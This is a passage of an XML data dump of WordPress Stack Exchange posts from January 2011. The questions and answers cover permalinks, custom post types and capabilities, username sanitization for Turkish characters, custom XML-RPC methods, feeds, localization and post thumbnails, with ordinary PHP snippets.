$menu_order ){&#xA;            global $menu;&#xA;&#xA;            foreach ( $menu as $mkey =&amp;gt; $m ) {&#xA;                $key = array_search( 'edit.php?post_type=portfolio', $m );&#xA;                $keyB = array_search( 'edit.php?post_type=bio', $m );&#xA;                $keyC = array_search( 'edit.php?post_type=philo', $m );&#xA;&#xA;                if ( $key || $keyB || $keyC )&#xA;                    unset( $menu[$mkey] );&#xA;            }&#xA;&#xA;            return $menu_order;&#xA;        }&#xA;        add_filter( 'menu_order', 'remove_those_menu_items' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above is what actually allows you to remove the custom post types from the admin menu system. You just add as many &lt;code&gt;$key&lt;/code&gt; as you need to. Instead of me going into detail on what the above means you can read from the &lt;a href=&quot;http://teleogistic.net/2010/08/hiding-wordpress-custom-post-type-menu-items-without-disabling-edit-access/&quot; rel=&quot;nofollow&quot;&gt;original here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1114" LastActivityDate="2011-01-20T10:57:36.423" />
  <row Id="7321" PostTypeId="2" ParentId="7172" CreationDate="2011-01-20T11:08:48.133" Score="1" ViewCount="" Body="&lt;p&gt;I have found a solution by myself...&#xA;I was installing a plugin called &quot;Multiple Post Thumbnails&quot;&#xA;That is really quite useful...&lt;/p&gt;&#xA;" OwnerUserId="2557" LastActivityDate="2011-01-20T11:08:48.133" />
  <row Id="7323" PostTypeId="1" CreationDate="2011-01-20T11:54:13.053" Score="0" ViewCount="98" Body="&lt;p&gt;Firstly my problem was the &lt;code&gt;%tag%&lt;/code&gt; in the permalink, but I resolved it with this patch:&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/7004/tag-in-permalink-not-working/7132#7132&quot;&gt;%tag% in permalink not working&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my custom structure now looks like this:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/%category%/%tag%/%postname%/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the url is like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/category_name/tag_name/post_name`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, now I have something else that I can't resolve. When post doesn't have any tag the url becomes: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/category_name//post_name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;.. which is undesired. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If post does'nt have tags, i would like the url to be..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/category_name/post_name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and if it does..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/category_name/tag_name/post_name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone have an idea how to solve this?&lt;/p&gt;&#xA;" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-01-20T14:27:08.363" LastActivityDate="2011-01-20T14:27:08.363" Title="Post with no tag permalink problem" Tags="&lt;permalinks&gt;&lt;customization&gt;&lt;urls&gt;&lt;tags&gt;" AnswerCount="1" />
  <row Id="7324" PostTypeId="2" ParentId="7004" CreationDate="2011-01-20T13:01:00.717" Score="1" ViewCount="" Body="&lt;p&gt;I got the following code to work in WP 3.0.1 and WP 3.1 RC 2, but with an important difference. Before 3.1, the tag structure is explicitly defined as &lt;code&gt;%tag%&lt;/code&gt;, but in 3.1 this becomes &lt;code&gt;%post_tag%&lt;/code&gt;. So my code handles both situations. It adds a hook to &lt;code&gt;get_permalink()&lt;/code&gt; and inserts a tag if needed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define( 'WPSE_7004_DEFAULT_TAG', 'untagged' );&#xA;if ( version_compare( $wp_version, '3.0.9' ) &amp;lt;= 0 ) {&#xA;    // This is pre-3.1&#xA;    define( 'WPSE_7004_TAG_STRUCT', '%tag%' );&#xA;} else {&#xA;    define( 'WPSE_7004_TAG_STRUCT', '%post_tag%' );&#xA;}&#xA;&#xA;add_filter( 'post_link', 'wpse7004_post_link', 10, 3 );&#xA;function wpse7004_post_link( $permalink, $post, $leavename )&#xA;{&#xA;    if ( FALSE !== strpos( $permalink, WPSE_7004_TAG_STRUCT ) ) {&#xA;        $tags = get_the_tags( $post-&amp;gt;ID );&#xA;        if ( $tags ) {&#xA;            usort( $tags, '_usort_terms_by_ID' );&#xA;            $tag = $tags[0]-&amp;gt;slug;&#xA;        } else {&#xA;            // No tag. Use default tag name, otherwise rewrite rule matching goes wrong.&#xA;            $tag = WPSE_7004_DEFAULT_TAG;&#xA;        }&#xA;        $permalink = str_replace( WPSE_7004_TAG_STRUCT, $tag, $permalink );&#xA;    }&#xA;&#xA;    return $permalink;&#xA;}&#xA;&#xA;add_filter( 'request', 'wpse7004_request' );&#xA;function wpse7004_request( $query_vars )&#xA;{&#xA;    if ( array_key_exists( 'tag', $query_vars ) &amp;amp;&amp;amp; WPSE_7004_DEFAULT_TAG == $query_vars['tag'] ) {&#xA;        unset( $query_vars['tag'] );&#xA;    }&#xA;    return $query_vars;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-01-20T13:01:00.717" />
  <row Id="7325" PostTypeId="2" ParentId="3261" CreationDate="2011-01-20T13:02:18.517" Score="1" ViewCount="" Body="&lt;p&gt;It's few months already and you probably have this solved by now but I'll try to do a little necromancing resume here anyway. We don't like unanswered questions right? ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a recent topic dealing with the front-end login &amp;amp; registration:&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/7134/front-end-register-form&quot;&gt;Front-end Register Form&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can change what WordPress displays to the users based on their capabilites by using the &lt;code&gt;current_user_can()&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also a topic about loading alternate CSS:&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/136/how-can-i-version-the-main-css-file&quot;&gt;How can I version the main CSS file?&lt;/a&gt;&lt;br&gt;&#xA;Be sure to check related questions too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By using &lt;code&gt;body_class()&lt;/code&gt; or &lt;code&gt;post_class()&lt;/code&gt; you can change the CSS class of html body (or post) depending on the logged user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If those changes you want to achieve are intended to be more user based then role based then you can work with &lt;code&gt;update_user_meta()&lt;/code&gt; and save some options in there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;None of the above is hard to achieve. All mentioned functions are well documented.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Oh and the ticket system - You could use custom post types with front-end posting as a good starting point.&lt;/p&gt;&#xA;" OwnerUserId="2110" LastEditorUserId="2110" LastEditorDisplayName="" LastEditDate="2011-01-20T13:09:13.657" LastActivityDate="2011-01-20T13:09:13.657" />
  <row Id="7326" PostTypeId="2" ParentId="7323" CreationDate="2011-01-20T13:05:31.227" Score="1" ViewCount="" Body="&lt;p&gt;I don't think there is an easy way to solve this, because &lt;code&gt;/some-category/some-tag/&lt;/code&gt; will be used as an overview page for all posts in category &lt;code&gt;some-category&lt;/code&gt; and with tag &lt;code&gt;some-tag&lt;/code&gt;. If an URL like &lt;code&gt;/cocktails/bloody-mary/&lt;/code&gt; comes in for a post with the name &lt;code&gt;bloody-mary&lt;/code&gt;, category &lt;code&gt;cocktails&lt;/code&gt; and no tags, WordPress can't split it up correctly because at that time it does not know that &lt;code&gt;bloody-mary&lt;/code&gt; is not a tag, and should thus be a post name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best solution is to use a fixed string when there is no tag (&lt;code&gt;untagged&lt;/code&gt;, like &lt;code&gt;uncategorized&lt;/code&gt; is what I used in &lt;a href=&quot;http://wordpress.stackexchange.com/questions/7004/tag-in-permalink-not-working/7324#7324&quot;&gt;my answer to your related question&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-01-20T13:05:31.227" />
  <row Id="7327" PostTypeId="2" ParentId="7290" CreationDate="2011-01-20T13:27:19.250" Score="5" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_post_type&quot; rel=&quot;nofollow&quot;&gt;Codex - Register Post Type&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the &lt;code&gt;capability_type&lt;/code&gt; and &lt;code&gt;capabilities&lt;/code&gt; arguments for &lt;code&gt;register_post_type&lt;/code&gt;.&#xA;You can pass the &lt;code&gt;capabilities&lt;/code&gt; argument an array of capabilities to map to the necessary caps, here's an example of the args array with custom capabilities.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'labels' =&amp;gt; $labels,&#xA;    'public' =&amp;gt; true,&#xA;    'publicly_queryable' =&amp;gt; true,&#xA;    'show_ui' =&amp;gt; true,&#xA;    'query_var' =&amp;gt; true,&#xA;    'rewrite' =&amp;gt; true,&#xA;    'capabilities' =&amp;gt; array(&#xA;        'publish_posts' =&amp;gt; 'ADD_CAP_HERE',&#xA;        'edit_posts' =&amp;gt; 'ADD_CAP_HERE',&#xA;        'edit_others_posts' =&amp;gt; 'ADD_CAP_HERE',&#xA;        'delete_posts' =&amp;gt; 'ADD_CAP_HERE',&#xA;        'delete_others_posts' =&amp;gt; 'ADD_CAP_HERE',&#xA;        'read_private_posts' =&amp;gt; 'ADD_CAP_HERE',&#xA;        'edit_post' =&amp;gt; 'ADD_CAP_HERE',&#xA;        'delete_post' =&amp;gt; 'ADD_CAP_HERE',&#xA;        'read_post' =&amp;gt; 'ADD_CAP_HERE',&#xA;    ),&#xA;    'hierarchical' =&amp;gt; false,&#xA;    'menu_position' =&amp;gt; null,&#xA;    'supports' =&amp;gt; array('title','editor','thumbnail')&#xA;); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'd of course replace &lt;code&gt;ADD_CAP_HERE&lt;/code&gt; with a capability. If you wanted to limit this post type to admins, simply use a capability only admins have, such as &lt;code&gt;manage_options&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Table of roles and their caps(for quick reference).&lt;br&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Roles_and_Capabilities#Capability_vs._Role_Table&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Roles_and_Capabilities#Capability_vs._Role_Table&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-01-20T13:27:19.250" />
  <row Id="7328" PostTypeId="1" AcceptedAnswerId="7375" CreationDate="2011-01-20T14:55:33.070" Score="1" ViewCount="111" Body="&lt;p&gt;I am from Turkey and we have &quot;şŞçÇğĞüÜöÖıİ&quot; characters in our alphabet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to use those characters in permalinks/slugs/usernames. I found temporary solution for permalinks/slugs with core-hacking. There is no other option for it except core-hacking seems. You can find solution here: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/15248&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/15248&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is, user registration need a little fix after this one too. Fortunately there is filter i can use but couldnt handle it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in wordpress includes/formatting.php : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function sanitize_user( $username, $strict = false ) {&#xA; $raw_username = $username;&#xA; $username = wp_strip_all_tags( $username );&#xA; $username = remove_accents( $username );&#xA; // Kill octets&#xA; $username = preg_replace( '|%([a-fA-F0-9][a-fA-F0-9])|', '', $username );&#xA; $username = preg_replace( '/&amp;amp;.+?;/', '', $username ); // Kill entities&#xA;&#xA; // If strict, reduce to ASCII for max portability.&#xA; if ( $strict )&#xA;  $username = preg_replace( '|[^a-z0-9 _.\-@]|i', '', $username );&#xA;&#xA; $username = trim( $username );&#xA; // Consolidate contiguous whitespace&#xA; $username = preg_replace( '|\s+|', ' ', $username );&#xA;&#xA; return apply_filters( 'sanitize_user', $username, $raw_username, $strict );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This section of code is producing error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; if ( $strict )&#xA;  $username = preg_replace( '|[^a-z0-9 _.\-@]|i', '', $username );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Somehow i need to disable this section. But i am not sure how to do it.&lt;/p&gt;&#xA;" OwnerUserId="1372" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-06-07T14:46:59.107" LastActivityDate="2011-06-07T14:46:59.107" Title="Allowing non-latin characters in registration" Tags="&lt;filters&gt;&lt;encoding&gt;" AnswerCount="1" />
  <row Id="7330" PostTypeId="2" ParentId="7303" CreationDate="2011-01-20T15:22:34.153" Score="3" ViewCount="" Body="&lt;p&gt;Let me apologize for the initial question I had about your motives.  I see a lot of &quot;how can I remotely retrieve all posts from another blog&quot; questions and immediately assume there is nefarious intent because, 9 times out of 10, there is.  That said, your purposes seem very straight-forward and respectable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, there is no way to &quot;chunk&quot; the XML return of any of the three requests you've mentioned.  When I got up this morning, though, I saw you've &lt;a href=&quot;http://core.trac.wordpress.org/ticket/16316&quot; rel=&quot;nofollow&quot;&gt;proposed this as a feature enhancement through Trac&lt;/a&gt;.  This definitely won't make it in to Wordpress 3.1, so you'll likely be waiting a few months (or longer) before any submitted patches make it into core.  But this is a good start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the mean time, remember that the XML-RPC API is extensible.  While there is no way to receive &quot;chunks&quot; in the existing API, you can always add your own method.  This is actually the best way to get a patch in core - create your own method, make sure it works, and submit the patch back to Trac.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My guess is that your method would be very similar to &lt;code&gt;metaWeblog.getRecentPosts&lt;/code&gt;, but would be named a bit better ... perhaps &lt;code&gt;wp.getPagedPosts&lt;/code&gt;.  You could accept all the same parameters, but add one: &quot;pagenumber&quot;.  This way you could set the request to return 50 posts at a time and progressively walk through the collection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To add your method, you hook into the &lt;code&gt;xmlrpc_methods&lt;/code&gt; filter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function xml_add_method( $methods ) {&#xA;    $methods['wp.getPagedPosts'] = 'wp_getPagedPosts';&#xA;    return $methods;&#xA;}&#xA;add_filter( 'xmlrpc_methods', 'xml_add_method');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then add your callback function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wp_getPagedPosts($args) {&#xA;&#xA;    // $this-&amp;gt;escape($args);    //&amp;lt;-- This is called by native XML-RPC methods to sanitize passed arrays for the database.&#xA;&#xA;    $blog_ID     = (int) $args[0];&#xA;    $username  = $args[1];&#xA;    $password   = $args[2];&#xA;    if ( isset( $args[3] ) )&#xA;        $query = array( 'numberposts' =&amp;gt; absint( $args[3] ) );&#xA;    else&#xA;        $query = array();&#xA;&#xA;    if ( !$user = $this-&amp;gt;login($username, $password) )&#xA;        return $this-&amp;gt;error;&#xA;&#xA;    do_action('xmlrpc_call', 'wp.getPagedPosts');&#xA;&#xA;    //... get a list of posts and generate your XML-RPC return ...&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Remember, this is code you'd place in an external plug-in file or a &lt;code&gt;functions.php&lt;/code&gt; file with your theme to support the additional XML-RPC request.  There aren't any existing methods to handle this, so you're stuck with writing your own.  But if you do it once, and do it well, and submit it back to Trac ... it could become Core, then you wouldn't have to do it again.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-01-20T15:22:34.153" CommentCount="1" />
  <row Id="7331" PostTypeId="1" CreationDate="2011-01-20T15:22:44.990" Score="0" ViewCount="450" Body="&lt;p&gt;Simple you will say?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a first Custom post type called Country.&#xA;I have a second Custom post type called Travellers.&#xA;I need to make a drop down select list (multiple check) available when editing Countrywith content from Travellers.&#xA;This will allow me to select travellers for each country.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thx in advance&lt;/p&gt;&#xA;" OwnerUserId="2597" LastActivityDate="2011-01-25T08:43:57.420" Title="Make a select list of a custom post type in a meta box" Tags="&lt;custom-post-types&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="7332" PostTypeId="1" AcceptedAnswerId="7358" CreationDate="2011-01-20T15:28:40.627" Score="1" ViewCount="142" Body="&lt;p&gt;I'm looking for a plugin or example of code that can intercept the save/publish event and verify that all external links within the post content have rel=&quot;nofollow&quot; attributes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to use add_filter or add_action on the post save/publish event?&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-01-21T12:35:05.040" Title="How to filter content on Save/Publish to add rel=&quot;nofollow&quot; to all external links?" Tags="&lt;plugin-development&gt;" AnswerCount="1" />
  <row Id="7333" PostTypeId="1" CreationDate="2011-01-20T15:29:43.403" Score="2" ViewCount="175" Body="&lt;p&gt;I have a client who is asking to format the RSS feed so the XML doesn't look so ugly. I was thinking of a plugin or something to detect the user-agent and modify the feed template based on a regular browser request as opposed to a reader that will need the raw XML. Does it sound like I'm on the right track? I was going to use something like feedburner, but this site has many authors and they add new ones all the time and don't want to have to setup something at feedburner for every new feed they get. &lt;/p&gt;&#xA;" OwnerUserId="933" LastActivityDate="2011-01-21T11:29:44.883" Title="Style RSS Feed for a human?" Tags="&lt;rss&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="7334" PostTypeId="1" CreationDate="2011-01-20T05:26:14.720" Score="0" ViewCount="127" Body="&lt;p&gt;I have wordpress site that built in WordPress 2.9.2. I want to update this version in admin its give option for update old version to new that is  &lt;code&gt;update to  3.0.4&lt;/code&gt;.Can I do that without data loss.I am  worried because of my database because this site is working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please provide me your suggestion.I shall be very thankful to you all &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Shalu&lt;/p&gt;&#xA;" OwnerUserId="1850" LastEditorUserId="2370" LastEditorDisplayName="" LastEditDate="2011-01-21T14:21:54.903" LastActivityDate="2011-02-04T19:14:06.090" Title="Can I Update WordPress 2.9.2. to 3.0.4 from admin" Tags="&lt;update&gt;" AnswerCount="2" />
  <row Id="7336" PostTypeId="1" AcceptedAnswerId="8691" CreationDate="2011-01-20T15:36:15.840" Score="2" ViewCount="163" Body="&lt;p&gt;The default WordPress insert/edit link inspector window has options for URL, Target, Title and Class. I would like to add a checkbox labeled &quot;&lt;strong&gt;Make link nofollow&lt;/strong&gt;&quot; that, when checked, adds &lt;em&gt;rel=&quot;nofollow&quot;&lt;/em&gt; to the link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would also need to know if the link already has nofollow and default to checked in the case of a link edit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an existing filter or action to hook into this dialog to add the required bits?&lt;/p&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-01-20T21:56:30.930" LastActivityDate="2011-03-08T21:38:38.017" Title="How can I add a field to make link nofollow to the WordPress Link Inspector Window?" Tags="&lt;plugin-development&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="7337" PostTypeId="1" CreationDate="2011-01-20T15:37:29.443" Score="0" ViewCount="134" Body="&lt;p&gt;I've got the following problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;each page of the site has its own image which needs to be placed within the footer div for correct, static placement. However each image is different so I can't just add a simple IMG tag to the footer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment I've stripped the page.php of most of the content and placed it into the page code itself. So basically Loop closes half-way through the footer area, once the image is loaded. This also means the Loop starts before the content div. However, if an editor uses TinyMCE rather than code view, then DIV tags are re-arranged by Wordpress and the footer is broken. I can't disable the visual editor completely as not all site users know basic HTML.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to specify this image name as a custom field for each page, then store the value in a separate variable when Loop is running, then display the variable in the footer, after the Loop is closed? I couldn't find any PHP examples of how to get this done so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions would be very welcome!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tara&lt;/p&gt;&#xA;" LastActivityDate="2011-01-20T16:29:09.807" Title="Displaying page image in the footer automatically" Tags="&lt;custom-field&gt;&lt;page-template&gt;&lt;image&gt;&lt;loop&gt;" AnswerCount="2" />
  <row Id="7338" PostTypeId="2" ParentId="7333" CreationDate="2011-01-20T15:37:55.543" Score="1" ViewCount="" Body="&lt;p&gt;Frankly, don't waste time re-inventing the wheel.  Just go with an existing, automated tool like &lt;a href=&quot;http://feedburner.google.com/&quot; rel=&quot;nofollow&quot;&gt;Feedburner&lt;/a&gt;.  It takes seconds (literally) to set up a new feed.  It also gives you stellar analytics so you know who's actually subscribing to the feed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feedburner will also automatically re-format the feed for human consumption, provide simple icons to subscribe to the feed in the user's feed reader of choice, and allows you to easily support email subscriptions without adding a second tool.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-01-20T15:37:55.543" CommentCount="2" />
  <row Id="7340" PostTypeId="1" AcceptedAnswerId="7418" CreationDate="2011-01-20T15:57:22.797" Score="3" ViewCount="55" Body="&lt;p&gt;I've got a number of plug-in's hosted on the wordpress.org svn server ... with the immenent release of 3.1, I would like to update the &quot;Tested up to&quot; meta data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There will be no functional changes to the code, just the meta data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it necessary to change the revision number for such a trivial change?&lt;/p&gt;&#xA;" OwnerUserId="38" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-21T11:12:01.270" LastActivityDate="2011-01-21T11:12:01.270" Title="Is it necessary to bump a plug-in's version if you're just updating the &quot;Tested up to&quot; attribute?" Tags="&lt;plugin-development&gt;&lt;subversion&gt;&lt;wordpress-version&gt;" AnswerCount="3" />
  <row Id="7341" PostTypeId="2" ParentId="7333" CreationDate="2011-01-20T16:03:01.093" Score="0" ViewCount="" Body="&lt;p&gt;What I believe you're looking to do is create what's called in WordPress a &quot;&lt;a href=&quot;http://codex.wordpress.org/Customizing_Feeds&quot; rel=&quot;nofollow&quot;&gt;custom feed template&lt;/a&gt;.&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, just like you can have index.php?feed=rss2 or index.php?feed=atom you can create a new custom feed type index.php?feed=human_readable. It's not entirely straightforward, but basically you need to create this template in one file then in another plugin file hook it up to the WP rewrites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://wordpress.org/extend/plugins/google-sitemap-generator/&quot; rel=&quot;nofollow&quot;&gt;WordPress Google Sitemap plugin&lt;/a&gt; uses a custom feed template to create a sitemap and you might be able to use that as an example.&lt;/p&gt;&#xA;" OwnerUserId="1860" LastActivityDate="2011-01-20T16:03:01.093" />
  <row Id="7342" PostTypeId="2" ParentId="7340" CreationDate="2011-01-20T16:06:27.673" Score="0" ViewCount="" Body="&lt;p&gt;I think it's safe to say this is a matter of personal choice. Instead of a full version update (e.g. 1.0 to 2.0) you might consider making it a 1.1 release.&lt;/p&gt;&#xA;" OwnerUserId="1860" LastActivityDate="2011-01-20T16:06:27.673" />
  <row Id="7343" PostTypeId="2" ParentId="7340" CreationDate="2011-01-20T16:13:44.250" Score="1" ViewCount="" Body="&lt;p&gt;Well if you're just updating the readme then I see no reason to increase the version number. If you're just using the trunk you can do a quick commit to change that one thing and noone will really notice if you're using tags I think you will need to create a new tag (not 100% not that well versed with svn).&lt;/p&gt;&#xA;" OwnerUserId="2596" LastActivityDate="2011-01-20T16:13:44.250" />
  <row Id="7344" PostTypeId="2" ParentId="7242" CreationDate="2011-01-20T16:15:42.267" Score="1" ViewCount="" Body="&lt;p&gt;The best WordPress localization plugin is to use &lt;a href=&quot;http://codex.wordpress.org/Translating_WordPress#Localization_Technology&quot; rel=&quot;nofollow&quot;&gt;the default WordPress functions&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's actually pretty straightfoward. Any text you want localized you put into one of two functions. The first one below echos out the text directly and the second one returns the text into an object. I always prefer the latter as you can always stick an 'echo' in front of the function if you want to echo it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;_e($message, 'your_namespace')&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;__($message, 'your_namespace')&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happens is that if the $message has a traslation, that translation is returned. If not, then it's echoed out as is. This is nice because it allows you to put in all your localization placeholders before you get your translations together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next up, you create the translation files. You can create your own namespace by using one of many free tools to create a &quot;portable object&quot; (.po) file that you turn into a &quot;machine object&quot; (.mo) that is optimized for looking these things up. I use a free tool called &lt;a href=&quot;http://www.poedit.net/&quot; rel=&quot;nofollow&quot;&gt;Poedit&lt;/a&gt; to edit these files. The software is cross platform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One you've got the placeholders in place and have uploaded your translation file (.mo) you simply drop a single line of code into your template's functions.php, or your plugin file. What you're saying here is &quot;use these translations when you try to localize something in the 'your_namespace' namespace.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;load_textdomain('your_namespace', (WP_CONTENT_DIR . '/path/to/file.mo'));&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1860" LastActivityDate="2011-01-20T16:15:42.267" CommentCount="7" />
  <row Id="7345" PostTypeId="2" ParentId="7317" CreationDate="2011-01-20T16:18:34.743" Score="0" ViewCount="" Body="&lt;p&gt;Yes. I'm not sure about a free one, but there's a $35 premium plugin on Code Canyon that does exactly that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It allows you to create as many membership levels as you wish, restrict any and all content, and just about everything else you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codecanyon.net/item/wordpress-premium-content/137192?ref=mordauk&quot; rel=&quot;nofollow&quot;&gt;Check out Jigowatt's Premium COntent Plugin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-01-20T16:18:34.743" />
  <row Id="7346" PostTypeId="2" ParentId="7334" CreationDate="2011-01-20T16:22:08.173" Score="1" ViewCount="" Body="&lt;p&gt;Yes you can upgrade without data loss.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As always, however, it's a good idea to backup your content before you do. WordPress has &lt;a href=&quot;http://codex.wordpress.org/Administration_Panels#Export&quot; rel=&quot;nofollow&quot;&gt;some great options available&lt;/a&gt; that makes exporting data really easy.&lt;/p&gt;&#xA;" OwnerUserId="1860" LastActivityDate="2011-01-20T16:22:08.173" />
  <row Id="7347" PostTypeId="2" ParentId="7337" CreationDate="2011-01-20T16:22:19.890" Score="2" ViewCount="" Body="&lt;p&gt;You want to use the Featured Post Thumbnail:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wpcanyon.com/tutorials/how-to-use-the-post-thumbnail-feature-in-wordpress-2-9/&quot; rel=&quot;nofollow&quot;&gt;http://wpcanyon.com/tutorials/how-to-use-the-post-thumbnail-feature-in-wordpress-2-9/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://markjaquith.wordpress.com/2009/12/23/new-in-wordpress-2-9-post-thumbnail-images/&quot; rel=&quot;nofollow&quot;&gt;http://markjaquith.wordpress.com/2009/12/23/new-in-wordpress-2-9-post-thumbnail-images/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_post_thumbnail&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/the_post_thumbnail&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your functions.php, define an image size with add_image_size(), then display it in the footer like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;the_post_thumbnail('footer-image');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Keep all of the loop inside of your main template file and do not split it across multiple files. That's really messy, and as you've figured out, very prone to error.&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-01-20T16:22:19.890" />
